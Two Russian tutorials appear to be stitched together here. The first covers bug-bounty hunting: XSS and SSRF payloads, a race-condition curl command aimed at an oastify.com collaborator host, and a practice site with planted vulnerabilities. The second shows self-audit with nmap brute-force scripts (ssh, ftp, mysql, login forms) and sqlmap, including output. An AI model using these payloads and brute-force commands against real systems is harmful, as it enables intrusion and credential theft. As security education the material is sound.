Как найти в сайте лазейки

Как багхантеры ищут уязвимости: лайфхаки и неочевидные нюансы

Время на прочтение
7 мин

Количество просмотров 5.5K

Изображение сгенерировано нейросетью Midjourney
Изображение сгенерировано нейросетью Midjourney

Багхантинг — очень интересное занятие (по моему скромному мнению 🙂). Никогда не знаешь, какую уязвимость удастся найти сегодня. Каждый белый хакер уникален и имеет собственный стиль, так же как художники, учителя и специалисты любого другого профиля.

Тяжелым трудом приобретаются необходимые навыки и оттачиваются техники поиска уязвимостей определенных классов. В случае успеха приложенные усилия окупаются наградой: можно получить крупное денежное вознаграждение.

Пример моих выплат с платформы Standoff 365 Bug Bounty (standoff365.com/#bug-bounty)

Пример моих выплат с платформы Standoff 365 Bug Bounty (standoff365.com/#bug-bounty)

Дисклеймер

Имейте в виду, эта статья носит информационный характер и посвящена легальному поиску уязвимостей в информационных системах. Мы не призываем к совершению противоправных действий и обращаем внимание третьих лиц на необходимость во всех случаях соблюдать действующее законодательство и правила соответствующей программы по поиску уязвимостей. Неправомерный доступ к компьютерной информации влечет за собой юридическую ответственность.


Статья будет интересна прежде всего багхантерам-новичкам. Начнем с XSS-уязвимостей: стандартные инструменты (взять хотя бы консоль браузера) помогут найти брешь немного нестандартным способом. С хранимыми XSS, когда полезная нагрузка выглядит не сложнее, чем '"><img src=x onerror=alert();>,все предельно понятно. В месте, где нет фильтрации, достаточно вставить этот JavaScript-код — и XSS сработает. Однако бывает так, что в результате действий пользователя полезная нагрузка может оказаться в теге <script>, заранее расположенном на странице. Такие XSS видно не сразу, поэтому приходится использовать payload типа '-alert()-' либо "-alert()-" (или другие, нужно смотреть по ситуации). Я детектирую подобные XSS-уязвимости с помощью стандартного веб-инспектора Safari, что сильно упрощает поиск.

Ошибки в консоли помогают обнаруживать уязвимости

Ошибки в консоли помогают обнаруживать уязвимости

Если вы вставили полезную нагрузку и веб-инспектор показывает ошибку JavaScript, значит, есть огромная вероятность найти XSS-уязвимость. Все просто: '"><img src=x onerror=alert();>, добавленный в существующий тег <script>, нарушает синтаксис языка своими кавычками, и JavaScript выдает ошибку.

Что касается SSRF-уязвимостей, которые позволяют отправлять запросы от имени сервера, то для их проверки я люблю использовать payload https://0/, который эквивалентен https://localhost или https://127.0.0.1. Максимально просто, но про этот способ исследователи безопасности почему-то всегда забывают. Еще больше таких же интересных полезных нагрузок можно найти здесь.

Самый нестандартный метод поиска логических уязвимостей предложил исследователь под ником @OldPassword. Ранее с этой техникой я не сталкивался, поэтому решил рассказать о ней в статье. Может быть, помните, как в одной популярной отечественной социальной сети была обнаружена уязвимость, позволяющая отмечать себя на фотографиях любых пользователей. До сих пор неизвестно, как она попала в сеть, но люди массово стали отмечаться на фотографиях знаменитостей. Брешь оперативно закрыли, и о проблеме быстро забыли. Пообщавшись с исследователем, который обнаружил эту уязвимость, я узнал, как именно он нашел небезопасную прямую ссылку на объект — IDOR. Багхантер не применял никаких инструментов вроде Burp Suite Professional, а воспользовался методом копирования кнопки. Он буквально скопировал кнопку «Отметить на фотографии» под той фотографией в соцсети, где такая кнопка была, и добавил ее под фотографию знаменитости, где, согласно логике работы приложения, ее быть не должно. Так у багхантера появилась возможность отмечать себя на фото: при нажатии кнопки вызывалась форма — все как положено.

Вот как выглядел код:

<a id="pv_tag_link" onclick="stManager.add(['phototag.js', 'phototag.css', 'tagger.css', 'tagger.js'], function() { Phototag.startTag(); })">Отметить человека</a>

Понятно, что можно было просто перехватить запрос, но сама техника поиска такой уязвимости меня сильно удивила.

Есть много способов обнаружения уязвимостей типа race condition (ошибка проектирования приложения, при которой его работа зависит от того, в каком порядке выполняются части кода). Как правило, их проверяют на одном из действий, например в функции вывода денежных средств. При запуске Intruder вместо одной выплаты оформляется две. Сейчас уже почти нет сервисов и приложений, где бы этот метод был рабочим. Результативен (пока!) похожий сценарий: имея положительный баланс веб-кошелька, можно одновременно совершить покупку и вывести средства. Race condition в этом случае может сработать несмотря на то, что в некоторых местах сайта уязвимость может быть исправлена ранее. Вы удивитесь, но обычный curl — излюбленный инструмент злоумышленников для проведения атак race condition, так как он самый быстрый и гибкий. Правильно заметил Исаак Дойчер, гениальность — в простоте.

curl 'https://lpeyixg5xj735njqsh1pk6p9q0wrkj88.oastify.com' -H 'User-Agent: cur1' -H 'Cookie: _fl_sessionid={session_id}' --data 'authenticity_token={authenticity_token}&user%5Bemail%5D={email_address_7}' & curl 'https://lpeyixg5xj735njqsh1pk6p9q0wrkj88.oastify.com' -H 'User-Agent: cur1' -H 'Cookie: _fl_sessionid={session_id}' --data 'authenticity_token={authenticity_token}&user%5Bemail%5D={email_address_8}' & curl 'https://lpeyixg5xj735njqsh1pk6p9q0wrkj88.oastify.com' -H 'User-Agent: cur1' -H 'Cookie: _fl_sessionid={session_id}' --data 'authenticity_token={authenticity_token}&user%5Bemail%5D={email_address_9}' & curl 'https://lpeyixg5xj735njqsh1pk6p9q0wrkj88.oastify.com' -H 'User-Agent: cur1' -H 'Cookie: _fl_sessionid={session_id}' --data 'authenticity_token={authenticity_token}&user%5Bemail%5D={email_address_10}'

Без практики — никуда!

Всё, о чем я рассказывал до этого, было наработано путем долгой практики и изучения разных источников информации. Чтобы упростить получение необходимых навыков другим багхантерам и не растягивать этот процесс надолго, я создал сайт с большим количеством уязвимостей. По сути, это тестовый стенд, где любой желающий может практиковаться и улучшать навыки по поиску проблем ИБ. Работоспособность сайта я гарантирую в течение одного года с момента выхода статьи.

Главная страница сайта

Главная страница сайта

Приоткрою завесу тайны и расскажу лишь про те уязвимости, которые можно найти на сайте прямо сейчас (в дальнейшем буду добавлять новые). Сайт представляет собой простейший блог на PHP, посвященный космосу. Веб-страницы верстались с помощью Bootstrap. На сайте есть вход через Telegram, личный кабинет пользователя и фотогалерея. Несмотря на более чем скромную функциональность, там уже заложено десять уязвимостей.

XSS в редиректе

Одну из самых распространенных уязвимостей можно найти на главной странице. Взгляд внимательного читателя определенно привлечет странная ссылка в конце статьи, указывающая на источник информации. Дело в том, что текст о телескопе взят с официального сайта NASA.

Если изучить ссылку, можно найти простейшую XSS-уязвимость, которая выглядит примерно так:

Странная ссылка

Странная ссылка

Такие уязвимости периодически встречаются в скоупах программ bug bounty, поэтому их стоит приносить и репортить. Давайте разберемся, почему она работает.

Исходный код скрипта, отвечающего за редирект

Исходный код скрипта, отвечающего за редирект

На скриншоте видно, что редирект осуществляется с помощью JavaScript. При этом нет валидации параметра $_GET['url']. Полезная нагрузка вида javascript:alert();// не работает в хедере Location, поэтому в будущем я рекомендую использовать его. В нашем случае код написан именно так, как делать не надо. Таким образом, имеет смысл всегда листать страницу до конца, потому что проблема может скрываться в самом последнем предложении.

Утечка Telegram ID

Эта уязвимость опасна тем, что позволяет злоумышленникам проводить дальнейшие атаки на пользователей системы. Зная ID Telegram-аккаунта, они могут получить более подробную информацию о пользователях. В идеале, конечно, такие данные следует скрывать. На главной странице сайта находится блок, в котором показываются последние зарегистрированные пользователи.

Последние зарегистрированные на сайте пользователи

Последние зарегистрированные на сайте пользователи

Если внимательно изучить код этого блока (выделен на скриншоте синим), можно заметить в нем атрибут userid, из-за которого происходит утечка ID пользователей, вошедших на сайт через Telegram. На момент публикации статьи я исправил эту уязвимость, чтобы ID не утекали.

Причина утечки данных

Причина утечки данных

IDOR на удаление фотографий

Вот где пригодится userid (ниже представлен запрос на удаление фотографий): GET- параметр userid может быть произвольным, а значит, пользователь может удалять чужие фотографии из галереи.

Удаление фотографий пользователя 316559347

Удаление фотографий пользователя 316559347
Удаление фотографий пользователя 563527258
Удаление фотографий пользователя 563527258

SSRF-уязвимости

При переходе в личный кабинет видна форма, в которой багхантеров точно заинтересует функция добавления фотографий в фотогалерею. Их загрузка реализована с помощью URL. Пользователь указывает ссылку на конкретную фотографию, сайт ее скачивает, помещает в нужную папку и создает определенную строку в базе данных. Далее, в соответствии с функциональностью, все фотографии отображаются по этому адресу.

Личный кабинет пользователя

Личный кабинет пользователя

В самой функциональности есть SSRF-уязвимость. Она эксплуатируется максимально просто, хотя и в два этапа. Я это сделал для того, чтобы исследователи могли поэкспериментировать с ней и приобрести необходимый опыт. На практике встретить уязвимость, позволяющую читать локальные файлы, достаточно сложно. Обычно SSRF дает доступ к внутренним узлам, а схема file:/// остается недоступной.

Запрос на загрузку фотографии

Запрос на загрузку фотографии

После этого в галерее появляется непрогрузившаяся фотография, которая выглядит так:

И содержимое фотографии, то есть содержимое файла /etc/hosts:

Фотография, открытая через блокнот

Фотография, открытая через блокнот

Логические уязвимости

Может быть ситуация, когда вход на сайт осуществляется с помощью Telegram-аккаунта, у которого нет логина. Тогда пользователь сам должен ввести короткое имя своего аккаунта. И в этом случае возникает ошибка (exception), указывающая, что username не может быть равен null.

Ошибки, возникающие в процессе работы приложения

Ошибки, возникающие в процессе работы приложения

С помощью SSRF мы можем получить исходный код сайта, посмотреть, в каких строках появляется ошибка, а также извлечь токен Telegram-бота. Если бы эту уязвимость обнаружили злоумышленники, они могли бы рассылать спам по чужим аккаунтам.

Утечка исходного кода в фотографии

Утечка исходного кода в фотографии

DoS-уязвимости

Если с помощью Intruder рассылать запросы слишком быстро, можно проверить веб-сайт, например фотогалерею, на устойчивость к DoS-атаке. Intruder — это один из инструментов Burp Suite Professional, с помощью которого пользователи могут быстро отправлять запросы, делать перебор различных параметров в запросе. Галерея будет грузиться бесконечно долго и, возможно, не загрузится вовсе. За обнаружение уязвимостей этого класса чаще всего платят минимальное вознаграждение. Но, думаю, если речь будет идти о целом разделе сайта, можно рассчитывать на достойную награду. Например, один из багхантеров получил за найденную DoS-уязвимость 1000 $.

Демонстрация атаки на галерею

Демонстрация атаки на галерею
Демонстрация атаки
Демонстрация атаки

Не стоит забывать, что запросы отправляются еще и на сторонние сайты. Этим могут воспользоваться злоумышленники, чтобы скрыть свои реальные IP-адреса.

Результат атаки

Результат атаки

Охота за багами начинается… сейчас

Чтобы стать крутым багхантером, жизненно важен опыт. Цель моей работы состояла в том, чтобы помочь максимально просто и быстро получить опыт по поиску багов. На практике я рассмотрел самые популярные уязвимости. Тестовый стенд уже доступен. Более того, я дополнил его уязвимостями, не описанными в статье. Если хотите попрактиковаться, предлагаю начать прямо сейчас! Найденные уязвимости можете смело репортить в комментариях 🙂


Автор: yurasikkkkk

Советуем подписаться на его канал, посвященный багхантингу.

Пошагово расскажу как за полчаса комплексно проверить безопасность сайта даже если вы не программист. Статья будет полезна разработчикам, тестировщикам, а также владельцам сайтов.

Всем привет! Сейчас большинство статей в интернете по теме поиска уязвимостей на своем сайте делятся на два типа: это либо банальный список онлайн-сканеров без подробных инструкций как ими пользоваться, либо хардкорные мануалы для фанатов информационной безопасности и прочих хакеров, где без Линукса не разобраться.

Поэтому я решил написать статью, которой мне не хватало, когда я только начинал разбираться в этой теме. Надеюсь эта статья сделает интернет чуть-чуть безопаснее, а вам поможет найти даже те уязвимости, которые вы изначально не закладывали😃.

Статья пригодится:

  • Backend разработчикам: вы сможете быстро тестировать свои веб-приложения на наличие уязвимостей и тем самым повысить их надежность и безопасность данных ваших пользователей. (Если конечно исправите уязвимости, которые найдете )
  • Frontend разработчикам: пока npm собирает ваш фронтенд, вы как раз успеете проверить API вашего веб-приложения. А если повезет и вы сможете найти уязвимости, то вы не только поможете своей компании в будущем сохранить свою репутацию (а себе выбить премию), но и сможете целую неделю незлобно троллить ваших backend разработчиков и DevOps инженеров в общем чате.
  • Тестировщикам: освоите новые инструменты и сможете требовать законную прибавку к зарплате, а также немного считать себя хакерами.
  • Владельцам веб-сайтов и стартаперам без раунда: вы сможете самостоятельно базово проверить свой сайт без привлечения дорогостоящих экспертов, а также сможете лучше понимать технические особенности работы вашей бизнес-машины.

А нужно ли проверять?

Немного фактов и мнений:

Факт доказанный практикой и личным опытом: даже если у вас небольшой интернет-магазин, в 2020 вы уже будете подвергаться кибератакам по несколько раз в день.

С момента попадания в индекс GoogleYandex ваш сайт становится мишенью десятка (а если сайт крупный, то сотни) специализированных ботов, которые круглосуточно мониторят даже небольшие сайты и серверы для поиска уязвимостей и дальнейшего взлома.

У вас может быть грамотная архитектура, красивый дизайн, быстрая скорость загрузки, но всего лишь небольшая ошибка или невнимательность разработчика может серьезно навредить вашему бизнесу. Поэтому необходимо регулярно проверять свой сайт или веб-приложение на наличие уязвимостей.

Хорошая новость – сейчас можно самостоятельно просканировать свое веб-приложение различными бесплатными сканерами безопасности и найти уязвимые места заранее.

Внимание, использование подобных сканеров уязвимостей на чужих сайтах без разрешения владельцев является нарушением закона почти во всех странах.

Теперь я наглядно и пошагово покажу как с помощью таких инструментов самостоятельно проверить свой сайт, а также как разобраться в сгенерированных отчетах .

Что будем проверять:

  • Доступ к серверу и исходным кодам
  • Уязвимости веб-серверов (Apache или NGINX)
  • SQL инъекции
  • Межсайтовый скриптинг (XSS).
  • Устойчивость приложения и сервера к перебору паролей
  • Получение доступа к системным каталогам

Если вы пока еще не знаете, что означают все эти страшные слова и сокращения на английском, то не переживайте, по ходу статьи я обязательно объясню их значения.

В качестве подопытного сайта я написал и развернул небольшой самописный блог с возможностью оставлять комментарии к статьям и добавил в него весь джентльменский набор:

  • Многочисленные SQL инъекции
  • XSS уязвимости
  • Простой пароль для ssh доступа
  • Открытый ftp
  • Отсутствие защиты от перебора паролей
  • База данных, доступная из интернета с простым паролем
  • Слишком широкие права доступа к папкам и файлам

В общем все так, как делать не надо.

1. Проверяем сетевую инфраструктуру.

В кибератаках, также как и войне, все начинается с разведки, чтобы найти уязвимое место соперника. Для того, чтобы эффективно атаковать, злоумышленникам необходимо знать, какое ПО используется на сервере и какие двери открыты или закрыты недостаточно крепко. К несчастью владельцев сайтов, сейчас, чтобы все это узнать, нужно лишь здравое любопытство и утилита nmap.

Nmap – это набор инструментов для сканирования сетевой инфраструктуры веб-сервиса. Он может быть использован для проверки безопасности, для идентификации запущенных серверных приложений.

Nmap позволяет запускать готовые скрипты, которые значительно упрощают анализ вашего сервера. Минус – теперь даже смышленный школьник, вооружившись пачкой скриптов, может предоставлять опасность для серверов компании.

Интересный факт – сyществует целая галерея фильмов, где утилита nmap используется для кибератак. Часть представлено в галерее, под каждой картинкой описание. Более полный список и разбор можно посмотреть по ссылке

Посмотрели картинки, теперь можно и поработать! Приступаем к делу.

Устанавливаем nmap

В установке нет ничего сложного. Примеры установки покажу на примере Windows и Mac OS. В дистрибутивах Linux последняя версия nmap обычно установлена по умолчанию.

Установка на Windows 10

Перейдите по ссылке загрузки nmap и загрузите последнюю стабильную версию. На данный момент (16.09.2020) эта версия 7.80. Скачать ее можно по этой ссылке с официального сайта. Дальше запустите nmap-7.80-setup.exe от имени администратора. Программа установки по умолчанию предложит установить все компоненты, галочки можно не снимать. Описывать шаги далее подробно ( Примите лицензионное соглашение и тд) не буду, там все изи.

Запуск nmap на Windows

Запускать nmap можно как в режиме графического интерфейса, так и через командную строку.

Для запуска графической оболочки введите в строку поиска nmap и в результатах выберите nmap – Zenmap GUI

Для дальнейшей работы вы можете вводить нужные команды в поле “Команда”, а затем нажимать на кнопку Сканирование. Результаты сканирования в виде текстового отчета вы можете посмотреть в окне, которое я старательно подписал “Отчет”

Интерфейс Zenmap

Мне ближе использование nmap через командную строку aka консоль. Для запуска командной строки введите “cmd” в строку поиска на панели инструментов. Нажмите Enter и затем откроется командная строка. Дальше прямо в нее можно вводить nmap команды.

Командная строка в Windows 10 c введенной командой nmap выглядит вот так:

Mac OS X

Нажмите Command+Space и введите “Терминал”, после этого нажмите Enter. Дальше последнюю версию nmap можно установить через менеджер HomeBrew c помощью следующей команды, которую нужно ввести в терминале:

brew install nmap

Для запуска nmap просто начинайте команду с nmap, ничего сложного 🙂

nmap localhost

Устанавливаем скрипты

Также нам надо установить скрипт nmap_vulners, который будет проводить проверку на то, содержатся ли уязвимости в ПО, которое мы используем. Для его установки нужно скачать файлы скрипта и перенести файлы http-vulners-regex.nse и vulners.nse в C:Program Files (x86)Nmapscripts.

Если у вас Mac OS, то перенести файлы скрипта нужно в папку /usr/local/Cellar/nmap/<version>/share/nmap/scripts/

Начинаем проверку

Для начала запускаем сканирование своего сервера командой ниже, чтобы выяснить какие порты используются и для чего. Команда выглядит так (подставьте свой ip или домен). Команду нужно вводить в окне консоли, либо если вы используете Zenmap GUI, то в поле “Команда” (пример я привел выше):

nmap -sV -Pn -p- -T5 161.35.92.161

Параметр T5 отвечает за скорость анализа сервера. Скорость можно менять от T0 до T5, где T0 – очень медленная скорость анализа, а T5 – очень быстрая. Если вы не хотите сильно нагружать сервер, то используйте T2.

Параметр -p- означает, что мы будем проверять весь диапазон портов (‘это займет около 10 минут) . Его можно убрать и тогда скрипт просканирует не все порты, а только 1000 первых (самые распространенные).

Ответ будет выглядеть примерно так:

nmap -sV -Pn 161.35.92.161
Starting Nmap 7.80 ( https://nmap.org ) at 2020-09-16 20:03 RTZ 2 (ceia)
Nmap scan report for 161.35.92.161
Host is up (0.085s latency).
Not shown: 965 filtered ports, 31 closed ports
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.3
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
3306/tcp open mysql MySQL 5.5.5-10.2.24-MariaDB
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 32.39 seconds

Из отчета мы видим, что nmap отобразил нам порты (под колонкой PORT), которые активны. В данном случае у нас используются:

  • Порт 21 занят под FTP
  • Порт 22 занят под SSH.
  • Порт 80 прослушивается сервером Apache.
  • Порт 3306 используется MySQL

Теперь запускаем наш скрипт, который проверит уязвимости в нашем ПО на сервере. Для этого запускаем следующую команду с указанием портов, которые мы будем проверять. Вам нужно будет заменить список портов на свои .

nmap -T5 -sV -Pn 161.35.92.161 –script=vulners.nse -p22,80,443,8080,8443,3306,20,21,23

Пример отчета. Ссылки на описание уязвимости идут после строки vulners (пример такой строки со ссылкой в отчете: CVE-2014-9278 4.0 https://vulners.com/cve/CVE-2014-9278)

Starting Nmap 7.80 ( https://nmap.org ) at 2020-09-16 20:50 RTZ 2 (ceia)
Nmap scan report for 161.35.92.161
Host is up (0.094s latency).

PORT STATE SERVICE VERSION
20/tcp closed ftp-data
21/tcp open ftp vsftpd 3.0.3
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| vulners:
| cpe:/a:openbsd:openssh:8.2p1:
|_ CVE-2014-9278 4.0 https://vulners.com/cve/CVE-2014-9278
23/tcp filtered telnet
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
| vulners:
| cpe:/a:apache:http_server:2.4.41:
| CVE-2020-11984 7.5 https://vulners.com/cve/CVE-2020-11984
| CVE-2020-11984 7.5 https://vulners.com/cve/CVE-2020-11984
| CVE-2020-1927 5.8 https://vulners.com/cve/CVE-2020-1927
| CVE-2020-1927 5.8 https://vulners.com/cve/CVE-2020-1927
| CVE-2020-9490 5.0 https://vulners.com/cve/CVE-2020-9490
| CVE-2020-1934 5.0 https://vulners.com/cve/CVE-2020-1934
| CVE-2020-1934 5.0 https://vulners.com/cve/CVE-2020-1934
|_ CVE-2020-11993 4.3 https://vulners.com/cve/CVE-2020-11993
443/tcp closed https
3306/tcp open mysql MySQL 5.5.5-10.2.24-MariaDB
8080/tcp filtered http-proxy
8443/tcp filtered https-alt
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 24.23 seconds

Как видите из отчета, скрипт проанализировал активное ПО нашего сервера и любезно предоставил ссылки с описанием каждой найденной уязвимости. Что согласитесь, очень удобно как для нас, так и для злоумышленников.

Также можно записать результат анализа в файл, который потом можно скинуть ответственному разработчику или системному администратору. Сам файл результатов будет находиться в каталоге, из которого вы запускаете скрипт. Пример такой команды ниже:

nmap -T5 -sV -Pn 161.35.92.161 –script=vulners.nse -p22,80,443,8080,8443,3306,20,21,23 > result.txt

Чтобы избавиться от подобных проблем обычно достаточно обновить используемое ПО до последних версий, где уязвимости старых версий, как правило, уже исправлены.

2. Проверяем устойчивость к перебору.

В нашем случае nmap определил, что на сервере есть ssh, ftp и mysql. Попробуем проверить насколько устойчивые пароли используются.

SSH

Вводим следующую команду (напомню, что вводить нужно либо в консоль, либо в поле “Команда” программы Zenmap GUI.

nmap –script ssh-brute -p22 161.35.92.161 –script-args userdb=users.lst,passdb=passwords.lst

В случае успеха (процесс не быстрый) скрипт выведет подобранный пароль и логин . Подобранные пары логинпароль будут выведены после строчки Accounts:

22/ssh open ssh
ssh-brute:
Accounts
username:password
Statistics
Performed 32 guesses in 25 seconds.

Кроме того, можно расширить стандартные списки паролей и пользователей от nmap, заменив файлы users.lst и passwords.lst . Различные базы для брутфорса можно найти в этом gitbub репозитории. Файлы с базой паролей можно разместить в папке nmap/nselib/data

FTP

Теперь проверяем FTP порт следующей командой:

nmap -d –script ftp-brute -p 21 161.35.92.161

Аналогично, сервис выведет подобранные пары логинов и паролей:

PORT STATE SERVICE
21/tcp open ftp
| ftp-brute:
| Accounts
| root:root – Valid credentials
|_ Statistics: Performed 864 guesses in 544 seconds, average tps: 4.8

MySQL

Проверяем доступен ли анонимный вход.

nmap -sV –script=mysql-empty-password <target>

В случае успеха:

3306/tcp open mysql
| mysql-empty-password:
| anonymous account has empty password
|_ root account has empty password

Пытаемся подобрать пару логинпароль для входа в базу данных mysql.

nmap –script mysql-brute -p 3306 <target>
–script-args userdb=users.lst, passdb=passwords.lst

Также если у вас используются CMS (WordPress, Joomla, Drupal, Bitrix) и другие базы данных (Mongo, Postgres, Redis), то можно найти готовые скрипты для проверки устойчивости ваших паролей и форм. Ищите по ключевым словам <name_of_CMS_or_DB> brute force nmap

Проверяем формы авторизации

Найти формы авторизации можно с помощью такой команды (вместо <target> – подставьте домен вашего сайта):

nmap -p80 –script http-auth-finder <target>

После того, как нашли страницы с авторизацией, можно попробовать подобрать пароль и логин для входа в админку сайта.

Параметры

  • http-brute.hostname – имя хоста
  • http-form-brute.path – адрес страницы с формой или адрес с API
  • http-brute.method – тип метода, по умолчанию POST
  • http-form-brute.uservar – устанавливает имя переменной, которая отвечает за username. Если не установлено, то скрипт возьмет имя поля из формы
  • http-form-brute.passvar – устанавливает имя переменной, которая отвечает за пароль. Если не установлено, то скрипт возьмет имя поля из формы

Параметры нужно перечислять через запятую после -script-args.

nmap -p-80 –script=http-form-brute –script-args=http-form-brute.path=/login <target>

Если скрипт успешно сработает, то выведет примерно вот такой результат.

Подобранные данные для входа будут отображены после строчки Accounts. В нашем случае скрипт подобрал логин user с паролем secret. В реальном приложении подбор может также занять продолжительное время, зависит от того насколько стойкий пароль используется.

PORT STATE SERVICE REASON
80/tcp open http syn-ack
| http-form-brute:
| Accounts
| user:secret – Valid credentials
| Statistics
|_ Perfomed 60023 guesses in 467 seconds, average tps: 138

Если ваша формы авторизации использует cookies параметры или csrf-token, то в этом случае выдаст ошибку. (И это хорошо, значит базовую защиту вы предусмотрели).

В качестве защиты стоит использовать стойкие пароли, а также ограничивать количество запросов с одного IP-адреса (Rate limiting).

3. Ищем скрытые папки и файлы

Часто разработчики или системные администраторы довольно халатно относятся к правам доступа и забывают закрыть доступ к системным и другим важным папкам. Проверить есть у нас на сервере такие папки можно также с помощью утилиты nmap. Команды будет выглядеть так (вместо <target> нужно подставить IP-адрес сервера или домен сайта) :

nmap -sV -p 80 -T5 –script http-enum <target>

В результате в отчете нам покажут доступные для просмотра папки, интересные файлы – файлы паролей, резервные копии базы данных и тд. (Если такие существуют). Дальше уже вам нужно самостоятельно решить какие папки и файлы нужно закрыть от просмотра, а какие оставить как есть.

Пример небольшого отчета.

Host is up (0.024s latency).
Not shown: 993 closed ports
PORT STATE SERVICE
80/tcp open http
| http-enum:
| /robots.txt: Robots file
| /css/: Potentially interesting directory w/ listing on ‘apache/2.4.41 (ubuntu)’
| /images/: Potentially interesting directory w/ listing on ‘apache/2.4.41 (ubuntu)’
|_ /js/: Potentially interesting directory w/ listing on ‘apache/2.4.41 (ubuntu)’

4. Проверяем на SQL инъекции

Так повелось, что большинство современных веб-приложений в той или иной мере используют SQL базы данных. Обычно параметры веб-страницы или какие-либо пользовательские данные подставляются в SQL запросы и результаты запроса отображаются на веб-странице. Если передаваемые параметры плохо фильтруются, то веб-сервис становится уязвимым для SQL инъекций.

Если сайт уязвим и выполняет такие инъекции, то по сути есть возможность творить с БД (чаще всего это MySQL) что угодно. Именно таким образом чаще всего воруют базы пользователей и их личные данные.

Далее я покажу как с помощью скриптов быстро и эффективно проверить есть в вашем продукте подобные уязвимости. Часто даже довольно опытные разработчики забывают о мерах предосторожности, поэтому даже серьезные продукты имеют подобные проблемы. Попробуем проверить наш тестовый веб-сервис на наличие таких проблем c помощью инструмента sqlmap.

Установка sqlmap.

Sqlmap – это кроссплатформенный сканер с открытым исходным кодом, который позволяет в автоматическом режиме тестировать веб-сервисы на наличие SQL инъекций, а затем использовать их для получения контроля над базой данных.

В данной статье я рассмотрю только способы как можно находить уязвимые для SQL инъекций страницы, API и формы без подробностей о том, как использовать найденные уязвимости для нанесения вреда. (Владельцы сайтов тут облегченно вздохнули). Для использования необходим python версии 2.7 и старше.

Установка на Windows

Для начала работы нам необходимо установить Python. Установщик Python для Windows можно найти на официальном сайте. Ссылку я прикрепил ниже.

На сайте две ветки – 2.x и 3.x, но скачать и установить лучше ветку 3.x. Sqlmap корректно работают с каждой из этих версий, но в дальнейшем нам потребуется версия 3.x.

Загрузить последнюю версию sqlmap можно здесь. Распакуйте архив в любую удобную папку (чтобы было проще ее найти можно распаковать в папку С:Users<имя вашего пользователя>)

Для запуска вначале нужно открыть командную строку. Нажмите Win+R, в появившемся окне введите cmd и нажмите enter. Пример запуска:

С:UsersAdminsqlmap>python ./sqlmap.py -u http://161.35.92.161/page.php?id=2

Установка на Mac OS X

Для начала установим Python. Для этого откройте Tерминал и запустите следующую команду.

brew install python3

Теперь установим sqlmap.

brew install sqlmap

Запуск sqlmap для Mac OS X.

sqlmap -u http://161.35.92.161/page.php?id=2 –dbs -o -random-agent

Начинаем проверку

В моем тестируемом сервисе я специально подготовил sql уязвимости. Попробуем найти их следующей командой. Параметр –dbs означает, что нам интересны имена баз данных. В случае успеха и наличия уязвимости, после определения баз данных можно перейти к поиску таблиц и получения нужных данных. Команду необходимо вводить в консоль.

python sqlmap.py -u http://161.35.92.161/page.php?id=2 –dbs -o -random-agent

Через некоторое время скрипт может попросить нас уточнить некоторые данные. В данном случае выбираю “нет”, чтобы скрипт прогнал все тесты.

[01:14:57] [INFO] fetched random HTTP User-Agent header value ‘Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0; YComp 5.0.2.6; MSIECrawler)’ from file ‘C:UsersAcersqlmapdatatxtuser-agents.txt’
[01:15:04] [INFO] testing connection to the target URL
[01:15:04] [INFO] checking if the target is protected by some kind of WAF/IPS
[01:15:05] [INFO] testing NULL connection to the target URL
[01:15:05] [INFO] NULL connection is supported with GET method (‘Range’)
[01:15:05] [INFO] testing if the target URL content is stable
[01:15:05] [INFO] target URL content is stable
[01:15:05] [INFO] testing if GET parameter ‘id’ is dynamic
[01:15:05] [INFO] GET parameter ‘id’ appears to be dynamic
[01:15:06] [INFO] heuristic (basic) test shows that GET parameter ‘id’ might be injectable
[01:15:06] [INFO] testing for SQL injection on GET parameter ‘id’
[01:15:06] [INFO] testing ‘AND boolean-based blind – WHERE or HAVING clause’
[01:15:06] [INFO] GET parameter ‘id’ appears to be ‘AND boolean-based blind – WHERE or HAVING clause’ injectable
[01:15:07] [INFO] heuristic (extended) test shows that the back-end DBMS could be ‘CrateDB’
it looks like the back-end DBMS is ‘CrateDB’. Do you want to skip test payloads specific for other DBMSes? [Y/n] n

Скрипт выводит отчет:

[01:15:29] [INFO] testing ‘MySQL >= 5.0 AND error-based – WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)’
[01:15:29] [INFO] testing ‘PostgreSQL AND error-based – WHERE or HAVING clause’
[01:15:29] [INFO] testing ‘Microsoft SQL Server/Sybase AND error-based – WHERE or HAVING clause (IN)’
[01:15:30] [INFO] testing ‘Oracle AND error-based – WHERE or HAVING clause (XMLType)’
[01:15:30] [INFO] testing ‘MySQL >= 5.0 error-based – Parameter replace (FLOOR)’
[01:15:30] [INFO] testing ‘Generic inline queries’
[01:15:30] [INFO] testing ‘PostgreSQL > 8.1 stacked queries (comment)’
[01:15:30] [WARNING] time-based comparison requires larger statistical model, please wait…………………. (done)
[01:15:32] [INFO] testing ‘Microsoft SQL Server/Sybase stacked queries (comment)’
[01:15:32] [INFO] testing ‘Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE – comment)’
[01:15:32] [INFO] testing ‘MySQL >= 5.0.12 AND time-based blind (query SLEEP)’
[01:15:43] [INFO] GET parameter ‘id’ appears to be ‘MySQL >= 5.0.12 AND time-based blind (query SLEEP)’ injectable
[01:15:43] [INFO] testing ‘Generic UNION query (NULL) – 1 to 20 columns’
[01:15:43] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique found
[01:15:45] [INFO] target URL appears to be UNION injectable with 4 columns
[01:15:46] [INFO] GET parameter ‘id’ is ‘Generic UNION query (NULL) – 1 to 20 columns’ injectable
GET parameter ‘id’ is vulnerable. Do you want to keep testing the others (if any)? [y/N] y

После продолжения анализа нас в первую очередь интересует строчка в конце: GET parameter ‘id’ is vulnerable. Do you want to keep testing the others (if any)? [y/N].

